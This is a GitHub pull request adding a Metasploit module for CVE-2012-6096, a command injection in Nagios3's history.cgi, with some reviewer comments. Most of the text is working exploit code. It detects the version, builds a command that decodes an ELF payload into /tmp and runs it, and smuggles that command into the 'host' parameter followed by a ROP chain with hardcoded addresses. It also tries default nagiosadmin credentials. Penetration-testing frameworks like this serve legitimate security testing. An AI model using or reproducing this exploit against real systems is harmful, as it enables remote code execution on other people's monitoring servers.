Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Nagios3 history.cgi exploit #1314

Merged
merged 2 commits into from
Jan 16, 2013
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
254 changes: 254 additions & 0 deletions modules/exploits/unix/webapp/nagios3_history_cgi.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,254 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Prolly it doesn't fit the requirements for ExcelentRanking. We can redefine it once finished. Just pointing atm.


include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE

def initialize(info = {})
super(update_info(info,
'Name' => 'Nagios3 history.cgi Host Command Execution',
'Description' => %q{
This module abuses a command injection vulnerability in the
Nagios3 history.cgi script.
},
'Author' => [
'Anonymous <temp66@gmail.com>', # Original finding
'blasty <blasty@fail0verflow.com>', # First working exploit
'Jose Selvi <jselvi@pentester.es>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2012-6096' ],
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Would be nice to add OSVDB (88322), BID (56879) and EDB (24084) references.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Working on it.

[ 'OSVDB', '88322' ],
[ 'BID', '56879' ],
[ 'EDB', '24084' ],
[ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2012-December/089125.html' ],
[ 'URL', 'http://pastebin.com/FJUNyTaj' ],
],
'Platform' => ['unix', 'linux'],
'Arch' => [ ARCH_X86 ],
'Privileged' => false,
'Payload' =>
{
'Space' => 200, # Due to a system() parameter length limitation
'BadChars' => '', # It'll be base64 encoded
},
'Targets' =>
[
[ 'Automatic Target', { 'auto' => true }],
# NOTE: All addresses are from the history.cgi binary
[ 'Appliance Nagios XI 2012R1.3 (CentOS 6.x)',
{
'BannerRE' => 'Apache/2.2.15 (CentOS)',
'VersionRE' => '3.4.1',
'Arch' => ARCH_X86,
'Offset' => 0xc43,
'RopStack' =>
[
0x0804c260, # unescape_cgi_input()
0x08048f04, # pop, ret
0x08079b60, # buffer addr
0x08048bb0, # system()
0x08048e70, # exit()
0x08079b60 # buffer addr
]
}
],
[ 'Debian 5 (nagios3_3.0.6-4~lenny2_i386.deb)', # From original exploit. Not tested.
{
'BannerRE' => 'Debian',
'VersionRE' => '3.3.0',
'Arch' => ARCH_X86,
'Offset' => 0xc37,
'RopStack' =>
[
0x0804b620, # unescape_cgi_input()
0x08048fe4, # pop, ret
0x080727a0, # buffer addr
0x08048c7c, # system()
0xdeafbabe, # if should be exit() but it's not
0x080727a0 # buffer addr
]
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Dec 09 2012'))

register_options(
[
OptString.new('TARGETURI', [true, "The full URI path to history.cgi", "/nagios3/cgi-bin/history.cgi"]),
OptString.new('USER', [false, "The username to authenticate with", "nagiosadmin"]),
OptString.new('PASS', [false, "The password to authenticate with", "nagiosadmin"]),
], self.class)
end

def detect_version(uri)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

If there is a method to detect version based on the banner, I suppose a check() method could be added. Its a good practice to add check always when possible.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Working on it.

# Send request
res = send_request_cgi({
'method' => 'GET',
'uri' => uri,
'headers' => { 'Authorization' => 'Basic ' + Rex::Text.encode_base64("#{datastore['USER']}:#{datastore['PASS']}") },
}, 10)

# Error handling
if(res.code == 401)
print_error("Please specify correct values for USER and PASS")
return nil, nil
end
if(res.code == 404)
print_error("Please specify the correct path to history.cgi in the URI parameter")
return nil, nil
end
if res.nil?
print_error("Unable to get a response from the server")
return nil, nil
end

# Extract banner from response
banner = res.headers['Server']

# Extract version from body
version = nil
version_line = res.body.match(/Nagios&reg; Core&trade; [0-9.]+ -/)
if not version_line.nil?
version = version_line[0].match(/[0-9.]+/)[0]
end

# Check in an alert exists
alert = res.body.match(/ALERT/)

return version, banner, alert
end

def select_target(version, banner)
# Get version information
if not banner.nil?
print_status("Web Server banner: #{banner}")
end
if not version.nil?
print_status("Nagios version detected: #{version}")
end

# No banner and version, no target
if banner.nil? or version.nil?
return nil
end

# Try regex for each target
self.targets.each do |t|
if t['BannerRE'].nil? or t['VersionRE'].nil? # It doesn't exist in Auto Target
next
end
regexp1 = Regexp.escape(t['BannerRE'])
regexp2 = Regexp.escape(t['VersionRE'])
if ( banner =~ /#{regexp1}/ and version =~ /#{regexp2}/ ) then
return t
end
end
# If not detected, return nil
return nil
end

def check
print_status("Checking banner and version...")
# Detect version
banner, version, alert = detect_version(target_uri.path)
# Select target
mytarget = select_target(banner, version)

if mytarget.nil?
print_error("No matching target")
return CheckCode::Unknown
end
if alert.nil?
print_error("At least one ALERT is needed in order to exploit")
return CheckCode::Safe
end

return CheckCode::Vulnerable
end

def exploit
# Automatic Targeting
mytarget = nil
if (target['auto'])
print_status("Automatically detecting the target...")
banner, version, alert = detect_version(target_uri.path)
mytarget = select_target(banner, version)
if mytarget.nil?
fail_with(Exploit::Failure::NoTarget, "No matching target")
end
else
mytarget = target
end

print_status("Selected Target: #{mytarget.name}")
if alert and alert.nil?
fail_with(Exploit::Failure::NoTarget, "At least one ALERT is needed in order to exploit")
end
print_status("Sending request to http://#{rhost}:#{rport}#{target_uri.path}")

# Generate a payload ELF to execute
elfbin = generate_payload_exe
elfb64 = Rex::Text.encode_base64(elfbin)

# Generate random filename
tempfile = '/tmp/' + rand_text_alphanumeric(10)

# Generate command-line execution
cmd = 'echo ' + elfb64 + '|base64 -d|tee ' + tempfile + ';chmod 700 ' + tempfile + ';rm -rf ' + tempfile + '|' + tempfile + ';'
host_value = cmd.gsub!(' ', '${IFS}')

# Generate 'host' parameter value
padding_size = mytarget['Offset'] - host_value.length
host_value << rand_text_alphanumeric( padding_size )

# Generate ROP
host_value << mytarget['RopStack'].pack('V*')

# Send exploit
res = send_request_cgi({
'method' => 'GET',
'uri' => target_uri.path,
'headers' => { 'Authorization' => 'Basic ' + Rex::Text.encode_base64("#{datastore['USER']}:#{datastore['PASS']}") },
'vars_get' =>
{
'host' => host_value
}
}, 10)

if(not res)
if session_created?
print_status("Session created, enjoy!")
else
print_error("No response from the server")
end
return
end

if(res.code == 401)
print_error("Please specify correct values for USER and PASS")
return
end

if(res.code == 404)
print_error("Please specify the correct path to history.cgi in the URI parameter")
return
end

print_status("Unknown response")
end

end